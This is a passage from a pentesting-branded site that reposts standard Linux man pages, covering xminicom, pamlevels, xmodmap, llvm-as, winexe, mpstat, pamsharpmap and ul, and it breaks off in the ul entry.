             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

735 - Linux cli command xminicom

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xminicom and provides detailed information about the command xminicom, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xminicom.

NAME 🖥️ xminicom 🖥️

friendly serial communication program

SYNOPSIS

xminicom minicom-options

DESCRIPTION

Xminicom is a script wrapper around minicom. It tries to find a color capable xterm or rxvt on your system, and then runs minicom with the -c (color) flag in a terminal session.

OPTIONS

See minicom (1).

AUTHOR

Miquel van Smoorenburg, [email protected]

SEE ALSO

minicom(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

736 - Linux cli command pamlevels

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamlevels and provides detailed information about the command pamlevels, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamlevels.

.

NAME 🖥️ pamlevels 🖥️

effect a ’levels’ transformation

SYNOPSIS

pamlevels -from1 from1 -to1 to1 -from2 from2 -to2 to2 [-from3 from3 -to3 to3] [-linear] [-fitbrightness] [pamfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamlevels reads a Netpbm image from pamfile or standard input, applies a ’levels’ transformation, and sends the result to standard output. It finds a unique transformation that maps color from1 to to1, color from2 to to2, and-if -from3 and -to3 are supplied-color from3 to to3. Transformations based on two mappings are linear in light intensity and those based on three mappings quadratic. The color-mapping options may be shortened to -f1-f3 and -t1-t3.

Color values have the following format: color[:scale], where color is a Netpbm color specification and scale an optional coefficient that is applied to the intensity (i.e. not gamma-adjusted) of each RGB component of color.

When the transformation is linear (i.e. uses two mappings) and preserves zero (i.e. maps black to black), it corresponds to multiplication of light intensity by a constant and preserves color integrity(1) .

EXAMPLES

In the examples below, \ denotes a line continuation:

To brighten an image by setting a darker white point-

    pamlevels -f1 black -t1 black \
      -f2 white:0.9 -t2 white in.ppm > out.ppm

To adjust the white point-

    pamlevels -f1 black -t1 black \
      -f2 rgbi:0.9/0.83/0.80 -t2 white in.ppm > out.ppm

To set a lighter black point-

    pamlevels -f1 white:0.06 -t1 black \
      -f2 white -t2 white in.ppm > out.ppm

To increase brightness by compression-

    pamlevels \
      -f1 black -t1 black -f2 white -t2 white \
      -f3 white:0.5 -t3 white:0.6 in.ppm > out.ppm

The latter transformation is similar to gamma-correction.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamlevels recognizes the following command line options:

-from1
-to1
-from2
-to2
-from3
-to3
These options define the mappings of input colors to output colors that anchor the transformation function. See DESCRIPTION .

You must specify at least two of these pairs.

-linear
This option tells pamlevels to work with the intensity-linear variation on PPM where the samples are proportional to light intensity, rather than brightness (gamma-adjusted) as in true PPM. The input must be of this form and the pamlevels makes the output of this form.

Note that the numbers in a color specification like rgbi:0.9/0.83/0.80 are brightness levels (gamma-adjusted) regardless of the input and output format.

You cannot use this with -fitbrightness because that function is not implemented.

-fitbrightness
This option selects a transformation which is not very useful - it is linear or quadratic in brightness rather than light intensity of the pixels. There is no physical basis for doing it this way and the result is normally undesirable.

Note that many tools other than Netpbm do the transformation this way. One use for this option is simply to demonstrate the poor result of this method.

One advantage of this transformation is that it is faster, because the input and output image formats use brightness values. The result is approximately correct.

You cannot use this with -linear because that function is not implemented.

SEE ALSO

pnmnorm(1) , pamrecolor(1) , pnmgamma(1) , pnm(1)

AUTHOR

This program was first submitted by Anton Shepelev ([email protected]).

HISTORY

pamlevels was new in Netpbm 10.83 (June 2018).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamlevels.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

737 - Linux cli command xmodmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xmodmap and provides detailed information about the command xmodmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xmodmap.

NAME 🖥️ xmodmap 🖥️

utility for modifying keymaps and pointer button mappings in X

SYNOPSIS

xmodmap [-options …] [filename]

DESCRIPTION

The xmodmap program is used to edit and display the keyboard modifier map and keymap table that are used by client applications to convert event keycodes into keysyms. It is usually run from the user’s session startup script to configure the keyboard according to personal tastes.

OPTIONS

The following options may be used with xmodmap:

-display display
This option specifies the host and display to use.

-help
This option indicates that a brief description of the command line arguments should be printed on the standard error channel. This will be done whenever an unhandled argument is given to xmodmap.

-grammar
This option indicates that a help message describing the expression grammar used in files and with -e expressions should be printed on the standard error.

-version
This option indicates that xmodmap should print its version information and exit.

-verbose
This option indicates that xmodmap should print logging information as it parses its input.

-quiet
This option turns off the verbose logging. This is the default.

-n
This option indicates that xmodmap should not change the mappings, but should display what it would do, like make(1) does when given this option.

-e expression
This option specifies an expression to be executed. Any number of expressions may be specified from the command line.

-pm
This option indicates that the current modifier map should be printed on the standard output. This is the default mode of operation if no other mode options are specified.

-pk
This option indicates that the current keymap table should be printed on the standard output.

-pke
This option indicates that the current keymap table should be printed on the standard output in the form of expressions that can be fed back to xmodmap**.**

-pp
This option indicates that the current pointer map should be printed on the standard output.

-
A lone dash means that the standard input should be used as the input file.

The filename specifies a file containing xmodmap expressions to be executed. This file is usually kept in the user’s home directory with a name like .xmodmaprc**.**

EXPRESSION GRAMMAR

The xmodmap program reads a list of expressions and parses them all before attempting to execute any of them. This makes it possible to refer to keysyms that are being redefined in a natural way without having to worry as much about name conflicts.

The list of keysym names may be found in the header file <X11/keysymdef.h> (without the XK_ prefix). Keysyms matching Unicode characters may be specified as “U0020” to “U007E” and “U00A0” to “U10FFFF” for all possible Unicode characters.

keycode NUMBER = KEYSYMNAME
The list of keysyms is assigned to the indicated keycode (which may be specified in decimal, hex or octal and can be determined by running the xev program). Up to eight keysyms may be attached to a key, however the last four are not used in any major X server implementation. The first keysym is used when no modifier key is pressed in conjunction with this key, the second with Shift, the third when the Mode_switch key is used with this key and the fourth when both the Mode_switch and Shift keys are used.

keycode any = KEYSYMNAME
If no existing key has the specified list of keysyms assigned to it, a spare key on the keyboard is selected and the keysyms are assigned to it. The list of keysyms may be specified in decimal, hex or octal.

keysym KEYSYMNAME = KEYSYMNAME
The KEYSYMNAME on the left hand side is translated into matching keycodes used to perform the corresponding set of keycode expressions. Note that if the same keysym is bound to multiple keys, the expression is executed for each matching keycode.

clear MODIFIERNAME
This removes all entries in the modifier map for the given modifier, where valid name are: Shift, Lock, Control, Mod1, Mod2, Mod3, Mod4, and Mod5 (case does not matter in modifier names, although it does matter for all other names). For example, ``clear Lock’’ will remove all any keys that were bound to the shift lock modifier.

add MODIFIERNAME = KEYSYMNAME
This adds all keys containing the given keysyms to the indicated modifier map. The keysym names are evaluated after all input expressions are read to make it easy to write expressions to swap keys (see the EXAMPLES section).

remove MODIFIERNAME = KEYSYMNAME
This removes all keys containing the given keysyms from the indicated modifier map. Unlike add, the keysym names are evaluated as the line is read in. This allows you to remove keys from a modifier without having to worry about whether or not they have been reassigned.

pointer = default
This sets the pointer map back to its default settings (button 1 generates a code of 1, button 2 generates a 2, etc.).

pointer = NUMBER
This sets the pointer map to contain the indicated button codes. The list always starts with the first physical button. Setting a button code to 0 disables events from that button.

Lines that begin with an exclamation point (!) are taken as comments.

If you want to change the binding of a modifier key, you must also remove it from the appropriate modifier map.

EXAMPLES

Many pointers are designed such that the first button is pressed using the index finger of the right hand. People who are left-handed frequently find that it is more comfortable to reverse the button codes that get generated so that the primary button is pressed using the index finger of the left hand. This could be done on a 3 button pointer as follows: % xmodmap -e “pointer = 3 2 1”

Many applications support the notion of Meta keys (similar to Control keys except that Meta is held down instead of Control). However, some servers do not have a Meta keysym in the default keymap table, so one needs to be added by hand. The following command will attach Meta to the Multi-language key (sometimes labeled Compose Character). It also takes advantage of the fact that applications that need a Meta key simply need to get the keycode and don’t require the keysym to be in the first column of the keymap table. This means that applications that are looking for a Multi_key (including the default modifier map) won’t notice any change. % xmodmap -e “keysym Multi_key = Multi_key Meta_L”

Similarly, some keyboards have an Alt key but no Meta key. In that case the following may be useful: % xmodmap -e “keysym Alt_L = Meta_L Alt_L”

One of the more simple, yet convenient, uses of xmodmap is to set the keyboard’s “rubout” key to generate an alternate keysym. This frequently involves exchanging Backspace with Delete to be more comfortable to the user. If the ttyModes resource in xterm is set as well, all terminal emulator windows will use the same key for erasing characters: % xmodmap -e “keysym BackSpace = Delete” % echo “XTerm*ttyModes: erase ^?” | xrdb -merge

Some keyboards do not automatically generate less than and greater than characters when the comma and period keys are shifted. This can be remedied with xmodmap by resetting the bindings for the comma and period with the following scripts: ! ! make shift-, be < and shift-. be > ! keysym comma = comma less keysym period = period greater

One of the more irritating differences between keyboards is the location of the Control and CapsLock keys. A common use of xmodmap is to swap these two keys as follows: ! ! Swap Caps_Lock and Control_L ! remove Lock = Caps_Lock remove Control = Control_L keysym Control_L = Caps_Lock keysym Caps_Lock = Control_L add Lock = Caps_Lock add Control = Control_L

This example can be run again to swap the keys back to their previous assignments.

The keycode command is useful for assigning the same keysym to multiple keycodes. Although unportable, it also makes it possible to write scripts that can reset the keyboard to a known state. The following script sets the backspace key to generate Delete (as shown above), flushes all existing caps lock bindings, makes the CapsLock key be a control key, make F5 generate Escape, and makes Break/Reset be a shift lock. ! ! On the HP, the following keycodes have key caps as listed: ! ! 101 Backspace ! 55 Caps ! 14 Ctrl ! 15 Break/Reset ! 86 Stop ! 89 F5 ! keycode 101 = Delete keycode 55 = Control_R clear Lock add Control = Control_R keycode 89 = Escape keycode 15 = Caps_Lock add Lock = Caps_Lock

ENVIRONMENT

DISPLAY
to get default host and display number.

SEE ALSO

X(7), xev(1), setxkbmap(1), XStringToKeysym(3), Xlib documentation on key and pointer events

BUGS

Every time a keycode expression is evaluated, the server generates a MappingNotify event on every client. This can cause some thrashing. All of the changes should be batched together and done at once. Clients that receive keyboard input and ignore MappingNotify events will not notice any changes made to keyboard mappings.

Xmodmap should generate “add” and “remove” expressions automatically whenever a keycode that is already bound to a modifier is changed.

There should be a way to have the remove expression accept keycodes as well as keysyms for those times when you really mess up your mappings.

AUTHOR

Jim Fulton, MIT X Consortium, rewritten from an earlier version by David Rosenthal of Sun Microsystems.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

738 - Linux cli command llvm-as-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-as-17 and provides detailed information about the command llvm-as-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-as-17.

NAME 🖥️ llvm-as-17 🖥️

as - LLVM assembler

SYNOPSIS

llvm-as [options] [filename]

DESCRIPTION

llvm-as is the LLVM assembler. It reads a file containing human-readable LLVM assembly language, translates it to LLVM bitcode, and writes the result into a file or to standard output.

If filename is omitted or is -, then llvm-as reads its input from standard input.

If an output file is not specified with the -o option, then llvm-as sends its output to a file or standard output by following these rules:

  • If the input is standard input, then the output is standard output.

  • If the input is a file that ends with .ll, then the output file is of the same name, except that the suffix is changed to .bc.

  • If the input is a file that does not end with the .ll suffix, then the output file has the same name as the input file, except that the .bc suffix is appended.

OPTIONS

-f
Enable binary output on terminals. Normally, llvm-as will refuse to write raw bitcode output if the output stream is a terminal. With this option, llvm-as will write raw bitcode regardless of the output device.

-help
Print a summary of command line options.

-o filename
Specify the output file name. If filename is -, then llvm-as sends its output to standard output.

EXIT STATUS

If llvm-as succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

SEE ALSO

llvm-dis(1), as(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

739 - Linux cli command winexe

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command winexe and provides detailed information about the command winexe, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the winexe.

NAME 🖥️ winexe 🖥️

execute a remote Windows command

SYNOPSIS

winexe [OPTION]… //HOST COMMAND

DESCRIPTION

Execute COMMAND on remote Microsoft Windows HOST.

OPTIONS

-?, –help
Display help text.

-A, **–authentication-file=**FILE
Get credentials from FILE.

-d, **–debuglevel=**LOGLEVEL
Set the level of debug output to LOGLEVEL.

–interactive=0|1
Allow (1) or disallow (0) interative mode. Note that Windows Vista does not support interactive mode.

-k, –kerberos=yes|no
Use Kerberos, yes or no?

-N, –no-pass
Do not prompt for a password.

–ostype=0|1|2
Install 32-bit (0); 64-bit (1); or automatically chosen (2) version of the winexe service.

–reinstall
Uninstall the winexe service from the remote machine and install it again before using it to execute the command.

–runas=[DOMAIN/]USERNAME[%PASSWORD]
Run the desired command under Windows account USERNAME with optional DOMAIN and PASSWORD. Beware: this password is sent over the network in cleartext!

**–runas-file=**FILE
Run the desired command under the account defined in FILE.

–system
Use the “SYSTEM” account. If –runas is given then this option is ignored.

-U, –user=[DOMAIN]USERNAME[**%**PASSWORD]
Set the login USERNAME and optionally also DOMAIN and PASSWORD. The login account is used to log into the Windows host and start the winexe service which, in turn, executes the desired command. Beware: the password it sent in cleartext!

–uninstall
Uninstall the winexe service from the remote machine after using it to execute the command.

AUTHOR

Winexe was written by Andrzej Hajda <[email protected]>. This manual page was Written by Thomas Hood <[email protected]>.

COPYRIGHT

Copyright © 2012 Thomas Hood
This manual page is part of the Winexe software package. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

ssh(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

740 - Linux cli command mpstat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpstat and provides detailed information about the command mpstat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpstat.

NAME 🖥️ mpstat 🖥️

Report processors related statistics.

SYNOPSIS

mpstat [ -A ] [ –dec={ 0 | 1 | 2 } ] [ -H ] [ -n ] [ -u ] [ -T ] [ -V ] [ -I { keyword**[,…] | ALL } ] [ -N { ***node_list *| ALL } ] [ -o JSON ] [ -P { *cpu_list ***| ALL } ] [ ***interval ***[ ***count *] ]

DESCRIPTION

The mpstat command writes to standard output activities for each available processor, processor 0 being the first one. Global average activities among all processors are also reported. The mpstat command can be used on both SMP and UP machines, but in the latter, only global average activities will be printed. If no activity has been selected, then the default report is the CPU utilization report.

The interval parameter specifies the amount of time in seconds between each report. A value of 0 (or no parameters at all) indicates that processors statistics are to be reported for the time since system startup (boot). The *count *parameter can be specified in conjunction with the interval parameter if this one is not set to zero. The value of count determines the number of reports generated at *interval *seconds apart. If the interval parameter is specified without the *count *parameter, the mpstat command generates reports continuously.

OPTIONS

-A
This option is equivalent to specifying -n -u -I ALL. This option also implies specifying -N ALL -P ALL unless these options are explicitly set on the command line.

–dec={ 0 | 1 | 2 }
Specify the number of decimal places to use (0 to 2, default value is 2).

-H
Also detect and display statistics for physically hotplugged vCPUs.

-I { keyword[,…] | ALL }
Report interrupts statistics. Possible *keywords *are CPU, SCPU, and SUM.

With the CPU keyword, the number of each individual interrupt received per second by the CPU or CPUs is displayed. Interrupts are those listed in */proc/interrupts *file.

With the SCPU keyword, the number of each individual software interrupt received per second by the CPU or CPUs is displayed. This option works only with kernels 2.6.31 and later. Software interrupts are those listed in */proc/softirqs *file.

With the **SUM **keyword, the mpstat command reports the total number of interrupts per processor. The following values are displayed:

CPU
Processor number. The keyword all indicates that statistics are calculated as averages among all processors.

intr/s
Show the total number of interrupts received per second by the CPU or CPUs.

The ALL keyword is equivalent to specifying all the keywords above and therefore all the interrupts statistics are displayed.

**-N { ***node_list *| ALL }
Indicate the NUMA nodes for which statistics are to be reported. node_list is a list of comma-separated values or range of values (e.g., 0,2,4-7,12-). Note that node all is the global average among all nodes. The ALL keyword indicates that statistics are to be reported for all nodes.

-n
Report summary CPU statistics based on NUMA node placement. The following values are displayed:

NODE
Logical NUMA node number. The keyword all indicates that statistics are calculated as averages among all nodes.

All the other fields are the same as those displayed with option **-u **(see below).

-o JSON
Display the statistics in JSON (JavaScript Object Notation) format. JSON output field order is undefined, and new fields may be added in the future.

**-P { ***cpu_list *| ALL }
Indicate the processors for which statistics are to be reported. cpu_list is a list of comma-separated values or range of values (e.g., 0,2,4-7,12-). Note that processor 0 is the first processor, and processor all is the global average among all processors. The ALL keyword indicates that statistics are to be reported for all processors. Offline processors are not displayed.

-T
Display topology elements in the CPU report (see option -u below). The following elements are displayed:

CORE
Logical core number.

SOCK
Logical socket number.

NODE
Logical NUMA node number.

-u
Report CPU utilization. The following values are displayed:

CPU
Processor number. The keyword all indicates that statistics are calculated as averages among all processors.

%usr
Show the percentage of CPU utilization that occurred while executing at the user level (application).

%nice
Show the percentage of CPU utilization that occurred while executing at the user level with nice priority.

%sys
Show the percentage of CPU utilization that occurred while executing at the system level (kernel). Note that this does not include time spent servicing hardware and software interrupts.

%iowait
Show the percentage of time that the CPU or CPUs were idle during which the system had an outstanding disk I/O request.

%irq
Show the percentage of time spent by the CPU or CPUs to service hardware interrupts.

%soft
Show the percentage of time spent by the CPU or CPUs to service software interrupts.

%steal
Show the percentage of time spent in involuntary wait by the virtual CPU or CPUs while the hypervisor was servicing another virtual processor.

%guest
Show the percentage of time spent by the CPU or CPUs to run a virtual processor.

%gnice
Show the percentage of time spent by the CPU or CPUs to run a niced guest.

%idle
Show the percentage of time that the CPU or CPUs were idle and the system did not have an outstanding disk I/O request.

-V
Print version number then exit.

ENVIRONMENT

The mpstat command takes into account the following environment variable:

S_COLORS
By default statistics are displayed in color when the output is connected to a terminal. Use this variable to change the settings. Possible values for this variable are never, *always *or auto (the latter is equivalent to the default settings).
Please note that the color (being red, yellow, or some other color) used to display a value is not indicative of any kind of issue simply because of the color. It only indicates different ranges of values.

S_COLORS_SGR
Specify the colors and other attributes used to display statistics on the terminal. Its value is a colon-separated list of capabilities that defaults to I=32;22:N=34;1:W=35;1:X=31;1:Z=34;22. Supported capabilities are:

I=
SGR (Select Graphic Rendition) substring for CPU number.

N=
SGR substring for non-zero statistics values.

W= (or M=)
SGR substring for percentage values in the range from 75% to 90% (or in the range 10% to 25% depending on the metric’s meaning).

X= (or H=)
SGR substring for percentage values greater than or equal to 90% (or lower than or equal to 10% depending on the metric’s meaning).

Z=
SGR substring for zero values.

S_TIME_FORMAT
If this variable exists and its value is ISO then the current locale will be ignored when printing the date in the report header. The mpstat command will use the ISO 8601 format (YYYY-MM-DD) instead. The timestamp will also be compliant with ISO 8601 format.

EXAMPLES

mpstat 2 5
Display five reports of global statistics among all processors at two second intervals.

mpstat -P ALL 2 5
Display five reports of statistics for all processors at two second intervals.

BUGS

*/proc *filesystem must be mounted for the **mpstat **command to work.

FILES

*/proc *contains various files with system statistics.

AUTHOR

Sebastien Godard (sysstat <at> orange.fr)

SEE ALSO

sar(1), pidstat(1), iostat(1), vmstat(8)

https://github.com/sysstat/sysstat
https://sysstat.github.io/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

741 - Linux cli command pamsharpmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamsharpmap and provides detailed information about the command pamsharpmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamsharpmap.

.

NAME 🖥️ pamsharpmap 🖥️

create map of sharpness in a PNM/PAM image

SYNOPSIS

pamsharpmap [imagefile]

DESCRIPTION

This program is part of Netpbm(1) .

pamsharpmap reads a Netpbm image (PNM or PAM) and produces an image that shows how sharp it is at each location.

Sharpness is a measure of how suddenly (in space) colors change in the image. pamsharpmap computes the sharpness of each component color (R, G, B) separately and produces a pixel whose intensity of each component color is directly proportional to the sharpness of that component color at the same location in the input image. Thus, at a point where the image is very sharp in its red and green components, but dull in its blue component, you will see a yellow pixel in the output.

pamsharpmap computes sharpness at a point simply as the average difference in intensity between the pixel at that point and the 8 pixels surrounding it.

At the edges of the image, where there are not 8 pixels surrounding a pixel, pamsharpmap assumes the image is extended with a black border.

pamsharpmap assumes that the image is a PNM or PNM equivalent PAM. If it isn’t, the results are not necessarily meaningful.

The output image is the same dimensions, depth, and tuple type as the input, and has maxval 255.

OPTIONS

There are no command line options defined specifically for pamsharpmap, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pamsharpness(1) , pammasksharpen(1) , pamedge(1) , pam(1) , pnm(1)

HISTORY

pamsharpmap was added to Netpbm in Release 10.21 (March 2004). Bryan Henderson derived it from the program pnmsharp by B.W. van Schooten and distributed as part of the Photopnmtools package.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamsharpmap.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

742 - Linux cli command ul

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ul and provides detailed information about the command ul, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ul.

NAME 🖥️ ul 🖥️

do underlining

SYNOPSIS

ul [options] [file…]

DESCRIPTION

ul reads the named files (or standard input if none are given) and translates occurrences of underscores to the sequence which indicates underlining for the terminal in use, as specified by the environment variable TERM. The terminfo database is read to determine the appropriate sequences for underlining. If the terminal is incapable of underlining but is capable of a standout mode, then that is used instead. If the terminal can overstrike, or handles underlining automatically, ul degenerates to cat(1). If the terminal cannot underline, underlining is ignored.

OPTIONS

-i, –indicated

Underlining is indicated by a separate line containing appropriate dashes `-; this is useful when you want to look at the underlining which is present in an nroff output stream on a crt-terminal.

-t, -T, –terminal terminal

Override the environment variable TERM with the specified terminal type.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

ENVIRONMENT

The following environment variable is used:

TERM

The TERM variable is used to relate a tty device with its device capability description (see terminfo(5)). TERM is set at login time, either by the default terminal type specified in /etc/ttys or as set during the login process by the user in their login file (see setenv(3)).

HISTORY

The ul command appeared in 3.0BSD.

BUGS

